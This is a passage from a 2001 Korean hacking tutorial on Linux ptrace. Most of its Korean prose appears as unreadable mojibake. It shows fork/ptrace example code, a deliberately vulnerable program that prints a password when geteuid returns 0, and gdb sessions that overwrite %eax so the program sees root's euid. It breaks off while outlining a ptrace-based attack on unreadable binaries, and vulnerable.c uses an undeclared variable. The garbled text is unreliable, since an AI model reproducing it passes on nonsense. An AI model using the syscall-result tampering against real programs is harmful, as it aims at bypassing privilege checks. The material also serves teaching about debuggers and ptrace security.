======================================================== "Ptrace and Controlling the child process" , 2001/4/25 TrueFinder, seo@igrus.inha.ac.kr ======================================================== 2.2.19 ÀÌÇÏ kernel¿¡ ´ëÇÑ ptrace¹ö±×°¡ °ø°³µÇ¸é¼­ ptrace¿¡ ´ëÇÑ °ü½ÉÀÌ ³ô¾ÆÁ³´Ù. º» ¹®¼­¿¡¼­´Â ptraceÀÇ ¿ø¸®, ±×¿¡ ´ëÇÑ °£´ÜÇÑ ¿¹Á¦, °ü·ÃµÈ ½ÇÀü ÇØÅ·À» ½Ç¾ú´Ù. ptraceÈ£Ãâ¿¡ ´ëÇÑ ¿ø¸®¸¦ ÆÄ¾ÇÇÏ´Â ±³Àç¿ë ¹®¼­·Î ºÁµµ ±¦Âú´Ù. 0.¼­·Ð 1.ptraceÀÇ ¿ø¸® 2.¿ø¸®¿¡ °üÇÑ ¿¹Á¦ 3.2.ÀåÀÇ °á°ú 4.Àç¹ÌÀÖ´Â »ý°¢ 5.°ø°ÝÀÇ ½Ã³ª¸®¿À 6.5.ÀåÀÇ °á°ú 7.Improve it as your one ! 0. ¼­ ·Ð --------- Çѱ¹ÀÇ ¿ì¼öÇÑ ÇØÄ¿µéÀÌ Unixȯ°æÀÌ »Ñ¸®ºÎÅÍ ¹ßÀüÇØ¿ÀÁö ¸øÇÑ ¹®È­ÀûÀÎ ¹è°æ¿¡ ÀÇÇØ¼­ ½Ã½ºÅÛ ÇØÅ·ÀÇ °ü¶÷ÀڷνḸ ¹æ°üÇÏ°Ô µÇ´Â °ÍÀº ÂüÀ¸·Î ¾ÈŸ±î¿î Çö½ÇÀÌ´Ù. ½Ç·Î ¾öû³­ ¾çÀÇ ¿µ¹® ¸Þ´º¾ó°ú ¼Ò½ºÄÚµå, °¢±â »õ·Î¿î ·çƾÀ» ¼öÇàÇϴ Ưº°ÇÑ ÇÁ·Î±×·¥µéÀ» Á¢ÇÏ°í ±íÀÌ ´Ù·ç¾î¾ß ÇÏ´Â ¿À´Ã³¯ÀÇ ÇØÄ¿µé¿¡°Õ ±×°ÍÀº ¾î¼¸é »ó´çÇÑ °í¿ªÀÌ ¾Æ´Ò¼ö ¾ø´Ù. ±×·¯³ª ±×·³¿¡µµ ºÒ±¸ÇÏ°í ±×·¯ÇÑ À庮À» °ú°¨È÷ ¶³Ãij»°í Ç×»ó ¸¹ÀÌ ÀÐ°í ¹è¿ì°í, ޱ¸Çϸç, ¿­½ÉÈ÷ ½ÇÇèÇÏ´Â ÀÚ¼¼¸¸ÀÌ ÀÌ ½Ã´ëÀÇ Çѱ¹ ÇØÄ¿µéÀÇ »ç¸íÀÌ ¾Æ´Ò±îÇÏ´Â »ý°¢ÀÌ´Ù. ÇÑÆí, ±×°ÍÀ» ÀڽŵéÀÇ ±â¼ú·Î¸¸ ÀÍÈ÷´Â °ÍÀÌ ¾Æ´Ï¶ó ¸¹Àº »ç¶÷ÀÌ ¼­·Î ±× Áö½Ä¿¡ ´ëÇØ °øÀ¯Çϰí Á¢ÇÏ¿© Åä·ÐÇÒ ¼ö ÀÖ°ÔÇÏ´Â ºÐÀ§±â¸¦ Á¶¼ºÇØ ³ª¾Æ°¡´Â °Íµµ, ±×¸®ÇÏ¿© ÀÛÀº ¾ÆÀ̵ð¾î Çϳª¶óµµ ´õ¿í °Ç¼³ÀûÀÎ ¸ð½ÀÀÇ ÇüŸ¦ °®°ÔÇϵµ·Ï ÇÏ´Â °Íµµ ±× ÁßÀÇ Çϳª°¡ ¾Æ´Ò±î °¨È÷ »ý°¢ÇØ º¸´Â ¹ÙÀÌ´Ù. ±×·¯ÇÑ ÀǹÌÀÇ ÀÏȯÀ¸·Î ÇÊÀÚ°¡ ¾²´Â ¸ðµç ¹®¼­µéÀº ¿ì¸®³ª¶óÀÇ ÇØÄ¿µéÀÇ Áö½Ä¿¡ Á¶±ÝÀ̳ª¸¶ µµ¿òÀÌ µÇ°íÀÚ ÇÏ´Â °ÍÀ̸ç, ´Ù¸¥ ¾î¶°ÇÑ ¾ÇÀÇÀÇ ¸ñÀûÀº ¾ø´Ù. ¶ÇÇÑ, ´Ù¸¥ ¸ðµç ÀÌ ¹Ù´Ú »ç¶÷µéµµ ±×·¡ÁÖ±æ ¹Ù¶ó´Â ¸¶À½ÀÌ ¾øÀÝ¾Æ Æ÷ÇԵǾî Àֱ⠶§¹®¿¡ ¼­·ÐÀÌ ÀÌ·¸°Ô ±æ¾îÁö°Ô µÇ¾ú´Ù... 'ÀÌ·¸°Ô ¸»ÇØ ³õ°í ³ª´Ï, ³»°¡ ¸Ó ´ë´ÜÇÑ »ç¶÷ÀÌ¶óµµ µÇ´Â µí º¸ÀδÙ... Ç佺.' B-o - ¿äÁò »ý°¢ÇÏ´Â ¹Ù°¡ ÀÖ¾î À̹ø ¹®¼­¿¡ °£´ÜÈ÷ ÀÌ·± ¼­·ÐÀ¸·Î ±ÛÀ» ½ÃÀÛÇØ º¸¾Ò´Ù. ¼­·ÐÀº ±×·³ À̰ÍÀ¸·Î ´ë½ÅÇϰí ÇÏµå ½ºÅ͵ð ÇØÄ¿µé¿¡°Ô ÀÌ ±ÛÀ» Àд µ¿¾ÈÀº ºÎµð Àç¹ÌÀÖ´Â ½Ã°£ÀÌ µÇ±æ ºó´Ù. p.s. ´Ù¸¸, ÀÌ ¹®¼­´Â ÇØÄ¿µé °³ÀÎÀûÀÎ Áö½ÄÀÇ ÃæÁ·¿¡¸¸ ¾²¿© Á³À¸¸é ÇÏ´Â ¹Ù·¥À̸ç, º» ¹®¼­¿¡¼­ »ç¿ëµÇ´Â ±â¼úÀº ÇØÄ¿µé¿¡°Ô ½Ã½ºÅÛ¿¡ ´ëÇÑ Áö½ÄÀ»,Àç¹Ì¸¦ ÁÖ±âÀ§ÇÑ ¿ëµµÀ̱⠶§¹®¿¡ À̰ÍÀ» ¾î¶² ¹æ½ÄÀ¸·Î ¾²´À³Ä´Â ±× »ç¶÷ÀÇ À±¸®°ü¿¡ ´Þ·ÁÀÖ´Ù´Â °ÍÀ» ¾Õ¼­ ¸»ÇØ µÎ´Â ¹ÙÀÌ´Ù. 1. ptraceÀÇ ¿ø¸® ----------------- ptrace´Â »ý¼ºµÈ ÇÁ·Î¼¼½º°¡ ¾î¶»°Ô ¿òÁ÷À̸ç, ¾î¶²½ÄÀ¸·Î µ¥ÀÌŸ¸¦ ÀÐ°í ¾²´ÂÁö, ¾î¶²¿¡·¯¸¦ ³»´ÂÁö ÃßÀûÀ» ÇϱâÀ§ÇØ ¸¶·ÃµÈ ½Ã½ºÅÛ ÄÝÀÌ´Ù. À̰ÍÀº ÁÖ·Î µð¹ö±×¸¦ À§ÇØ »ç¿ëµÇ¸ç, µû¶ó¼­ µð¹ö°Å´Â ÀÏÁ¾ÀÇ ptrace¸í·É¾î ¹­À½ À¯Æ¿¸®Æ¼¶ó°í º¸¸é ¿Ç°Ú´Ù. ÇÁ·Î±×·¡¸Ó´Â µð¹ö°Å¸¦ ÅëÇØ ptrace¸¦ ¼Õ½±°Ô »ç¿ëÇÒ¼ö ÀÖÀ¸¸ç, ÀÚ½ÅÀÌ ¸¸µç ÇÁ·Î±×·¥ÀÌ ¾î¶»°Ô ¼öÇàµÇ´ÂÁö ÃѰýÀûÀ¸·Î °üÁ¦ÇÒ¼ö ÀÖ´Ù. ÀÌ¿¡ ´ëÇÑ pseudo ¾Ë°í¸®ÁòÀº ´ÙÀ½°ú °°´Ù. : ÃßÀûµÉ ÇÁ·Î¼¼½º¸¦ »ý¼ºÈÄ, ptrace¸¦ È£ÃâÇØ¼­ break point¸¦ ¼³Á¤Çϰųª ÇØÁ¦, °¡»ó ÁÖ¼Ò°ø°£ µ¥ÀÌŸ¸¦ Àаųª ¾¸. if( (pid = fork()) == 0 ){ //child - traced process ptrace( 0, 0, 0, 0); exec("name of the traced process here"); } for(;;) { wait((int*) 0); read(input for tracing instuctions); ptrace(cmd, pid , ... ); if(quiting trace) break; } 1. µð¹ö°Å°¡ child process ¸¸µé°í, 2. child´Â ptrace ½Ã½ºÅÛ È£Ãâ, trace bit¸¦ ÀÚ½ÅÀÇ ÇÁ·Î¼¼½º¿¡ ¼¼ÆÃÇÑ´Ù. 3. child ÇÁ·Î¼¼½º´Â ÃßÀûµÉ ÇÁ·Î±×·¥À» execÇÑ´Ù. 4. Ä¿³ÎÀº Åë»ó exec¸¦ ¼öÇàÇÏ´Ù°¡ trace bitÀ» ¹ß°ßÇϰí, ±× ÇÁ·Î¼¼½º¿¡°Ô sigtrapÀ» º¸³½´Ù. 5. ½ÅÈ£ÀÌÈÄ ½ÅÈ£¹ß»ý¿©ºÎ¸¦ ÀÚµ¿À¸·Î üũÇÏ´Â Ä¿³ÎÀÌ trace bit¸¦ ¹ß°ßÇϰí, ÃßÀû Äڵ带 ½ÇÇàÇÑ´Ù. 6. ÀÏ´Ü trace bit°¡ ¼¼Æ® µÇ¾îÀÖÀ½À» È®ÀÎÇϸé, ÀÚ½Ä ÇÁ·Î¼¼½º´Â wait½Ã½ºÅÛ È£ÃâÇϰí sleep»óÅÂÀÇ ºÎ¸ð¸¦ ±ú¿ì°Ô µÈ´Ù.. 7. ÀϹÝÀûÀ¸·Î ºÎ¸ð´Â ÀÚ½ÄÀÌ ±ú¿ï¶§±îÁö ´ë±âÇϰí Àִ´Ù. 8. »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ¹Þ°í, À̸¦ ptrace¸í·É¾î È£Ãâ·Î ġȯ, ÇÁ·Î±×·¥À» ¼öÇàÇÑ´Ù. ptrace ½Ã½ºÅÛ È£ÃâÀÇ ±¸¹® ptrace(cmd, pid, addr, data); + cmd µ¥ÀÌŸ ¾²±â Àбâ, ¾²±â ,½ÇÇà, Àç°³ + pid ´Â ÃßÀû ÇÁ·Î¼¼½ºÀÇ id + addrÀº ¾²°Å³ª, ÀбâÀÇ ´ë»óÀÌ µÇ´Â ÇÁ·Î¼¼½º °¡»ó ÁÖ¼Ò + data´Â ¾²¿©Áú Á¤¼ö°ª?? 9. ptraceÈ£ÃâÀÌ ¼öÇàµÇ¸é, Ä¿³ÎÀÌ µð¹ö°Å°¡ ÇÁ·Î¼¼½ºid¿Í »óŰ¡ Æ®·¹À̽ºÀÎÁö È®ÀÎÇϰí, 10. "Àü¿ª ÃßÀû µ¥ÀÌŸ ±¸Á¶"¸¦ »ç¿ëÇÏ¿© µÎ ÇÁ·Î¼¼½º°£ µ¥ÀÌŸ ±³È¯À» ÇÑÈÄ, 11. ÃßÀû»óŸ¦ lockÇϰí, cmd, addr, data¸¦ ÀÌ µ¥ÀÌÅͱ¸Á¶¿¡ º¹»çÇÑ´Ù. 12. ÀÚ½ÄÇÁ·Î¼¼½º¸¦ ½ÇÇàÁغñ·Î ÇÑÈÄ, ÀÚ½Ä ÇÁ·Î¼¼½º°¡ ÀÀ´äÇÒ¶§ ±îÁö ¼ö¸é. 13. ÀÚ½ÄÇÁ·Î¼¼½º´Â Ä¿³Î¸ðµå¿¡¼­ ½ÇÇàµÈÈÄ °á°ú¸¦ "Àü¿ª ÃßÀû µ¥ÀÌÅͱ¸Á¶"¿¡ ¾²°í, µð¹ö°Å¸¦ ±ú¿î´Ù. 2. ¿ø¸®¿¡ °üÇÑ ¿¹Á¦ ------------------ ++ mydebug.c ++ /* * mydebug.c * * Maurice J. Bach 's source. * "THE DESIGN OF THE UNIX OPERATING SYSTEM" */ #include // PTRACE_TRACEME 0 // PTRACE_POKEDATA 5 // PTRACE_SYSCALL 7 int addr; main(int argc, char *argv[]) { int i, pid; sscanf(argv[1], "%x", &addr ); printf("Used data address: %x\n", addr); if((pid = fork()) == 0 ) { printf("child process worked\n"); ptrace(PTRACE_TRACEME, 0, 0, 0 ); execl("mytraced", "mytraced", 0); // ½ÇÇà½ÃŰ¸é¼­ ÃßÀû»óÅ·Πµé¾î°¨. } wait((int*) 0); for(i=0; i<32; i++) { printf("it works step in parent process %d\n", i); if(ptrace(PTRACE_POKEDATA, pid, addr, i) == -1 ) exit(); addr += sizeof(int); } ptrace(PTRACE_SYSCALL, pid, 1, 0); //traced ½ÇÇàÀç°Ô. } -- myptrace.c -- ++ mytraced.c ++ /* * mytraced * * Maurice J. Bach 's source. * "THE DESIGN OF THE UNIX OPERATING SYSTEM" */ int data[32]; main() { int i; for( i=0; i<32; i++ ) printf("data[%d] = %d\n", i, data[i] ); printf("ptrace data addr 0x%x\n", data ); } -- mytraced.c -- mytraced¸¦ ´Ü¸»±â¿¡¼­ ½ÇÇàÇϸé, data°ªÀº 0À̸ç, ÇÁ·Î¼¼½º´Â data¿Í ÁÖ¼Ò¸¦ Ãâ·ÂÇÑÈÄ Á¾·áÇÑ´Ù. traced·Î ºÎÅÍÀÇ ¸Å°³º¯¼ö(À̸¦ Å×¸é ±× ÇÁ·Î¼¼½ºÀÇ dataÁÖ¼Ò)¸¦ ÀÌ¿ëÇÏ¿© mydebug¸¦ ½ÇÇàÇϸé, 1. child process´Â ptrace(PTRACE_TRACEME,...)·Î ÀÚ½ÅÀ» ÃßÀû°¡´ÉÇÏ°Ô ¼³Á¤Çϰí, 2. exec·Î ½ÇÇàÇÁ·Î±×·¥À» ¼öÇàÇÑ´Ù. ±×ÈÄ Àڽſ¡°Ô SIGTRAPÀ» º¸³»°í, ÀÚ½ÅÀº ÃßÀû»óÅ·Πµé¾î°£ÈÄ 3. waitÇÏ´ø ºÎ¸ðÇÁ·Î¼¼½º¸¦ ±ú¿ö¼­ ºÎ¸ð·ÎºÎÅÍÀÇ ptrace¸í·ÉÀ» ¼öÇàÇÑ´Ù. 4. ptraceÈ£ÃâµéÀÌ ¸ðµÎ ¸¶ÃÄÁö¸é, ºÎ¸ð´Â ÀÚ½ÄÀ» ´Ù½Ã ÃßÀû»óÅ·κÎÅÍ ¸í·ÉÀ» ¼öÇàÇÑ´Ù. 3. 2.Àå °á°ú ------------------------- [root@richard concept]# make mydebug cc mydebug.c -o mydebug [root@richard concept]# ./mydebug 0x80495c0 Used data address: 80495c0 child process worked it works step in parent process 0 it works step in parent process 1 it works step in parent process 2 it works step in parent process 3 it works step in parent process 4 it works step in parent process 5 it works step in parent process 6 it works step in parent process 7 it works step in parent process 8 it works step in parent process 9 it works step in parent process 10 it works step in parent process 11 it works step in parent process 12 it works step in parent process 13 it works step in parent process 14 it works step in parent process 15 it works step in parent process 16 it works step in parent process 17 it works step in parent process 18 it works step in parent process 19 it works step in parent process 20 it works step in parent process 21 it works step in parent process 22 it works step in parent process 23 it works step in parent process 24 it works step in parent process 25 it works step in parent process 26 it works step in parent process 27 it works step in parent process 28 it works step in parent process 29 it works step in parent process 30 it works step in parent process 31 [root@richard concept]# data[0] = 0 data[1] = 1 data[2] = 2 data[3] = 3 data[4] = 4 data[5] = 5 data[6] = 6 data[7] = 7 data[8] = 8 data[9] = 9 data[10] = 10 data[11] = 11 data[12] = 12 data[13] = 13 data[14] = 14 data[15] = 15 data[16] = 16 data[17] = 17 data[18] = 18 data[19] = 19 data[20] = 20 data[21] = 21 data[22] = 22 data[23] = 23 data[24] = 24 data[25] = 25 data[26] = 26 data[27] = 27 data[28] = 28 data[29] = 29 data[30] = 30 data[31] = 31 ptrace data addr 0x80495c0 : À§¿¡¼­ ¿ì¸®°¡ È®ÀÎÇÒ ¼ö ÀÖ´Â °ÍÀº ºÎ¸ð ÇÁ·Î¼¼½º°¡ invokeµÈ ÀÚ½Ä ÇÁ·Î¼¼½º¸¦ ÅëÁ¦ ÇÒ ¼ö ÀÖ´Ù´Â »ç½ÇÀÌ´Ù. Á¶ÀÛÀÇ ´ë»óÀÇ µÇ´Â °ÍÀº ±× ÇÁ·Î¼¼½º°¡ °¡Áø variablesµîÀÇ ¸Þ¸ð¸® core¿Í registersµéÀÌ´Ù. ptrace ¸í·É¾îµéÀº , ÀÌ·¯ÇÑ °ÍµéÀ» ÀÐ°í ¾²°í ÇÒ ¼ö ÀÖÀ½À¸·Î ÇØ¼­ ±× ÇÁ·Î¼¼½º¿¡ ´ëÇÑ ÀüüÀûÀÎ control flowµµ Á¶ÀÛÇØ ³¾¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. 4. Àç¹ÌÀÖ´Â »ý°¢ --------------- ¾î¶² ÇÁ·Î±×·¥ÀÌ Æ¯º°ÇÑ ±ÇÇÑ ºñÆ®°¡ ¾ø´Âä ¾î¶² À¯¿ëÇÑ Á¤º¸¸¦ °¡Áö°í ÀÖ´Ù¸é, ¶Ç ±×ÇÁ·Î±×·¥ÀÌ geteuid¸¦ ÅëÇØ »ç¿ëÀÚ¿¡ ´ëÇÑ ½Å·Ú¸¦ ÇÑ´Ù¸é, ¿ì¸®´Â ¸Õ°¡¸¦ ÇØº¼¼öµµ ÀÖÁö ¾ÊÀ»±î... Ãë¾àÇÑ ÇÁ·Î±×·¥Àº ´ÙÀ½°ú °°´Ù. ++ vulnerable.c ++ /* * vulnerable.c * * TrueFinder, seo@igrus.inha.ac.kr * */ main() { char *passwd = "criminal is a gold broker"; int euid; euid = geteuid(); if( euid == 0 ){ printf("You Are Operater !\n"); printf("Password is %s\n", passwd); exit(); } printf("You Are User %d\n", pid ); } -- vulnerable.c -- ¸¸¾à ¾î¶² ÇÁ·Î±×·¥ÀÌ ÀÏÁ¤ÇÑ À¯Àú¿¡ ÇÑÇØ ƯÁ¤ÇÑ ¹º°¡¸¦ º¸¿©ÁÖ´Â ÇÁ·Î±×·¥À̶ó°í ÇßÀ»¶§, À§¿Í °°ÀÌ ( root euid(0)ÀÇ °æ¿ì "criminal is gold broker" ¶ó´Â ÆÐ½º¿öµå ¹®ÀÚ¿­À» º¸¿©ÁØ´Ù. )... ¿ì¸®´Â À§ ÇÁ·Î±×·¥À» ÃßÀûÇϸ鼭 geteuid¿¡ ÀÇÇØ ¼¼ÆÃµÇ´Â ¿ì¸®ÀÇ euid¸¦ ġȯÇÏ¿© ÀÌ·¯ÇÑ ·çƾÀÇ ÇÁ·Î±×·¥À» ƯÁ¤ ±ÇÇÑÀÇ Á¤º¸¸¦ È긮´Â flow·Î ÃæºÐÈ÷ ¿ìȸÇÒ ¼ö ÀÖÁö ¾ÊÀ»±îÇÏ´Â »ý°¢¿¡ µµ´ÞÇÑ´Ù. ¾îÂ÷ÇÇ ½ÇÇàµÇ´Â ÇÁ·Î¼¼½º´Â ³»°¡ ÃæºÐÈ÷ ¸¾´ë·Î Á¶ÀÛÇÒ¼ö ÀÖ´Â ³» ÀÚ½Ä(child) ÇÁ·Î¼¼½ºÀ̱⶧¹®¿¡ ±×·¯ÇÑ »ý°¢Àº ½ÇÇö °¡´ÉÇÏ´Ù... 5. °ø°ÝÀÇ ½Ã³ª¸®¿À ------------------ ¸¸¾à ±× ÇÁ·Î±×·¥ÀÌ Àб⠰¡´ÉÇÑ ÇÁ·Î±×·¥À̾ú´Ù¸é, ±× ÇÁ·Î±×·¥ÀÇ ½Éº¼À» ÀÐ¾î ³¾¼ö Àֱ⶧¹®¿¡ ¿ì¸®ÀÇ Ä£¼÷ÇÑ À¯Æ¿¸®Æ¼ gdb¸¦ ÅëÇØ µð¹ö±× ÇÒ¼ö ÀÖ´Ù. :) ¾Æ·¡ ¿¹¿¡¼­´Â geteuid¶õ ÇÁ·Î±×·¥ÀÇ ¼öÇà ·¹Áö½ºÅ͸¦ ¹Ù²ã euid¸¦ ¿ìȸÇÏ´Â µð¹ö±ëÀ» ÇÒ°ÍÀÌ´Ù. ¼Õ°ú ´«À¸·Î Áñ°Üº¸ÀÚ. [seo@richard improve]$ ./geteuid geteuid = 500 [seo@richard improve]$ gdb geteuid GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) l 1 main() 2 { 3 int pid; 4 pid = geteuid(); 5 printf("geteuid = %d\n", pid); 6 } (gdb) disass main Dump of assembler code for function main: 0x8048198
: pushl %ebp 0x8048199 : movl %esp,%ebp 0x804819b : subl $0x4,%esp 0x804819e : call 0x804bb30 <__geteuid> 0x80481a3 : movl %eax,%eax 0x80481a5 : movl %eax,0xfffffffc(%ebp) 0x80481a8 : movl 0xfffffffc(%ebp),%eax 0x80481ab : pushl %eax 0x80481ac : pushl $0x8070588 0x80481b1 : call 0x80483fc 0x80481b6 : addl $0x8,%esp 0x80481b9 : leave 0x80481ba : ret End of assembler dump. (gdb) disass __geteuid Dump of assembler code for function __geteuid: 0x804bb30 <__geteuid>: movl $0x31,%eax 0x804bb35 <__geteuid+5>: int $0x80 0x804bb37 <__geteuid+7>: cmpl $0xfffff001,%eax 0x804bb3c <__geteuid+12>: jae 0x804be40 <__syscall_error> 0x804bb42 <__geteuid+18>: ret End of assembler dump. (gdb) b *__geteuid+18 Breakpoint 1 at 0x804bb42 (gdb) r Starting program: /root/ptrace/improve/geteuid Breakpoint 1, 0x804bb42 in __geteuid () (gdb) info reg eax: 0x1f4 500 ecx: 0x0 0 edx: 0xbfff037f -1073806465 ebx: 0xbffffabc -1073743172 esp: 0xbffffa44 -1073743292 ebp: 0xbffffa50 -1073743280 esi: 0x0 0 edi: 0x1 1 eip: 0x804bb42 134527810 eflags: 0x207 IOPL: 0; flags: CF PF IF orig_eax: 0xffffffff -1 cs: 0x23 35 ss: 0x2b 43 ds: 0x2b 43 es: 0x2b 43 fs: 0x0 0 gs: 0x0 0 (gdb) set $eax = 0 (gdb) info reg eax: 0x0 0 ecx: 0x0 0 edx: 0xbfff037f -1073806465 ebx: 0xbffffabc -1073743172 esp: 0xbffffa44 -1073743292 ebp: 0xbffffa50 -1073743280 esi: 0x0 0 edi: 0x1 1 eip: 0x804bb42 134527810 eflags: 0x207 IOPL: 0; flags: CF PF IF orig_eax: 0xffffffff -1 cs: 0x23 35 ss: 0x2b 43 ds: 0x2b 43 es: 0x2b 43 fs: 0x0 0 gs: 0x0 0 (gdb) c Continuing. Breakpoint 1, 0x804bb42 in __geteuid () (gdb) info reg eax: 0x1f4 500 ecx: 0x0 0 edx: 0x8048198 134513048 ebx: 0xbffffab4 -1073743180 esp: 0xbffffa5c -1073743268 ebp: 0xbffffa64 -1073743260 esi: 0x1 1 edi: 0x807054c 134677836 eip: 0x804bb42 134527810 eflags: 0x207 IOPL: 0; flags: CF PF IF orig_eax: 0xffffffff -1 cs: 0x23 35 ss: 0x2b 43 ds: 0x2b 43 es: 0x2b 43 fs: 0x0 0 gs: 0x0 0 (gdb) set $eax = 0 (gdb) info reg eax: 0x0 0 ecx: 0x0 0 edx: 0x8048198 134513048 ebx: 0xbffffab4 -1073743180 esp: 0xbffffa5c -1073743268 ebp: 0xbffffa64 -1073743260 esi: 0x1 1 edi: 0x807054c 134677836 eip: 0x804bb42 134527810 eflags: 0x207 IOPL: 0; flags: CF PF IF orig_eax: 0xffffffff -1 cs: 0x23 35 ss: 0x2b 43 ds: 0x2b 43 es: 0x2b 43 fs: 0x0 0 gs: 0x0 0 (gdb) c Continuing. geteuid = 0 Program exited with code 014. (gdb) ÇÁ·Î±×·¡¸ÓµéÀÇ ÀϹÝÀûÀÎ gdb»ç¿ë¹ýÀ¸·Î geteuid¸¦ »ç¿ëÇÏ´Â ÇÁ·Î±×·¥À» °£´ÜÈ÷ °Çµå·Á ºÃ´Ù. ¿ì¸®ÀÇ Àб⠰¡´ÉÇÑ ¾î¸° ÇÁ·Î¼¼½º´Â gdbÀÇ ¸í·É¿¡ ¼ø¼øÈ÷ º¹Á¾ÇÏ´Â µí º¸ÀδÙ. Âü ÂøÇÏÁö ¾Æ´ÏÇѰ¡... ±×·¯³ª, ¿ì¸®ÀÇ °üÁ¡Àº Àбâ±ÇÇÑÀÌ ¾ø´Â ´Ü¼øÈ÷ ½ÇÇุ °¡´ÉÇÑ ÇÁ·Î±×·¥¿¡ ÁÖ¸ñÇØ ÀÖ´Ù. ÀϹÝÀûÀ¸·Î Àб⸸ °¡´ÉÇÑ ÇÁ·Î±×·¥Àº gdb¿¡ Æí¸®ÇÑ ÃßÀûÀÌ ºÒ°¡´ÉÇÏ´Ù. ¿ì¸®ÀÇ gdb´Â read permissionÀÌ ÀÖ´Â ÇÁ·Î±×·¥¿¡ ÇÑÇØ ÃßÀûÀ» ¼öÇàÇÑ´Ù. ±×·¸Áö ¾ÊÀ¸¸é °£´ÜÈ÷ "Çã°¡ °ÅºÎµÊ" ¸Þ¼¼Áö¸¦ Ãâ·ÂÇÒ °ÍÀÌ´Ù. :( ÇÏÁö¸¸ ±×·³¿¡µµ ºÒ±¸Çϰí, ¿ì¸®´Â ½ÇÇàµÇ´Â ÇÁ·Î¼¼½º°¡ ¿ì¸®ÀÇ °üÁ¦ÇÏÀÇ ÇÁ·Î¼¼½ºÀ̹ǷΠ¾î¶»°Ô ÇØº¼ ¼ö´Â ÀÖ´Ù. Àбâ±ÇÇÑÀÌ ¾ø´Â ÇÁ·Î±×·¥¿¡ ´ëÇÑ "Çã°¡°ÅºÎ"´Â ptrace¹­À½ À¯Æ¿ÀÎ gdb¿¡ ÇÑÇØ ±¹ÇѵǴ ¹®Á¦À̸ç, À̸¦ ±Øº¹Çϱâ À§ÇØ ¿ì¸®´Â Á÷Á¢ ptrace() ¸¦ È£ÃâÇØ »ç¿ëÇØ¾ß¸¸ ÇÑ´Ù. ¾îÂ÷ÇÇ invoked child (½ÇÇàµÈ ÇÁ·Î±×·¥ÀÇ core )´Â ¿ì¸®ÀÇ Åë¼ÖÇÏ¿¡ ÀÖ´Ù´Â »ç½ÇÀ» ÀÎÁö ÇÒ¶§, °áÄÚ µÞ°ÉÀ½ Ä¥ ÇÊ¿ä´Â ¾ø´Ù. ÀÚ ±×·³, ¿ì¸®ÀÇ °ø°ÝÀ» ½ÃÀÛÇϱâ Àü¿¡ ¾î¶»°Ô °ø°ÝÀ» ½ÃÀÛÇÒ °ÍÀΰ¡¿¡ ´ëÇÑ °íÂûÀ» ¸ÕÀú ÇØº¸µµ·Ï ÇÏÀÚ. [seo@richard improve]$ gcc -o geteuid geteuid.c -g -static [seo@richard improve]$ gdb geteuid GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) l 1 main() 2 { 3 int pid; 4 pid = geteuid(); 5 printf("geteuid = %d\n", pid); 6 } (gdb) disass main Dump of assembler code for function main: 0x8048198
: pushl %ebp 0x8048199 : movl %esp,%ebp 0x804819b : subl $0x4,%esp 0x804819e : call 0x804bb30 <__geteuid> 0x80481a3 : movl %eax,%eax 0x80481a5 : movl %eax,0xfffffffc(%ebp) 0x80481a8 : movl 0xfffffffc(%ebp),%eax 0x80481ab : pushl %eax 0x80481ac : pushl $0x8070588 0x80481b1 : call 0x80483fc 0x80481b6 : addl $0x8,%esp 0x80481b9 : leave 0x80481ba : ret End of assembler dump. (gdb) disass __geteuid Dump of assembler code for function __geteuid: 0x804bb30 <__geteuid>: movl $0x31,%eax 0x804bb35 <__geteuid+5>: int $0x80 0x804bb37 <__geteuid+7>: cmpl $0xfffff001,%eax 0x804bb3c <__geteuid+12>: jae 0x804be40 <__syscall_error> 0x804bb42 <__geteuid+18>: ret End of assembler dump. À§ÀÇ °á°ú¸¦ º¼¶§, °ø°ÝÀÇ ½Ã³ª¸®¿À´Â ´ÙÀ½°ú °°´Ù. geteuid¸¦ ¼öÇàÇϴ ƯÁ¤ÇÑ ½ÃÁ¡¿¡¼­ ¿ì¸®ÀÇ euid¸¦ ¿ì¸®°¡ ¿øÇÏ´Â °ªÀ¸·Î ¹Ù²Ù¾î ½ÇÇà µÇ´Â ÇÁ·Î±×·¥À» °ø°ÝÇÏ·Á¸é, ´ÙÀ½°ú °°Àº »ç½Ç¿¡ ÁÖ¸ñÇØ¾ß ÇÑ´Ù. geteuid´Â linux»óÀÇ ½Ã½ºÅÛÄÝÀ̰í, ƯÁ¤ÇÑ ÀÎÅÍ·´Æ® ¹øÈ£¸¦ °®±â¶§¹®¿¡ ¿ì¸®ÀÇ geteuidÀÇ ISR2(interrupt service routine step 2)ÀÇ ¿äû°ªÀº 0x31ÀÌ µÈ´Ù´Â °ÍÀ» ¾Ë¼ö ÀÖ´Ù. ±×¸®°í, ±× °á°ú°ªÀ» %eax¿¡ ³Ö¾î ¹ÝȯÇÑ´Ù´Â »ç½Çµµ ã¾Æ º¼¼ö ÀÖ´Ù. µû¶ó¼­, °ø°ÝÀÇ ÇÙ½ÉÀº ¹Ù·Î traceÁß¿¡ %eax°ªÀ» 0x31°ú ºñ±³ÇÏ¿© ±× ½ÃÁ¡¿¡¼­ %eax¸¦ ġȯ ÇÑ´Ù´Â °ÍÀ¸·Î °á·Ð Áö¿öÁø´Ù. ±×·¯±â À§ÇØ °ø°ÝÇÁ·Î±×·¥Àº vulnerableÀ» ÀÚ½Ä ÇÁ·Î¼¼½º·Î ¶ç¿ö³õ°í instruction´ÜÀ§·Î °è¼Ó ÃßÀûÀ» ÇØ¾ß ÇÑ´Ù. (¿Ö³ÄÇÏ¸é ½Éº¼µéÀ» ÀÐÀ»¼ö ¾ø±â ¶§¹®ÀÌ´Ù. ) À§¿¡¼­´Â 0x804bb30ÀÌ ¿ì¸®°¡ ¿ì¸®ÀÇ ÀÛ¾÷À» ½ÇÇàÇØ¾ß ÇÒ ½ÃÁ¡ÀÌ µÇ°Ú´Ù. "int $0x80" ÈÄ¿¡´Â ¿ì¸®ÀÇ ·¹Áö½ºÅÍ %eax¿¡ ±× ÇÁ·Î¼¼½ºÀÇ 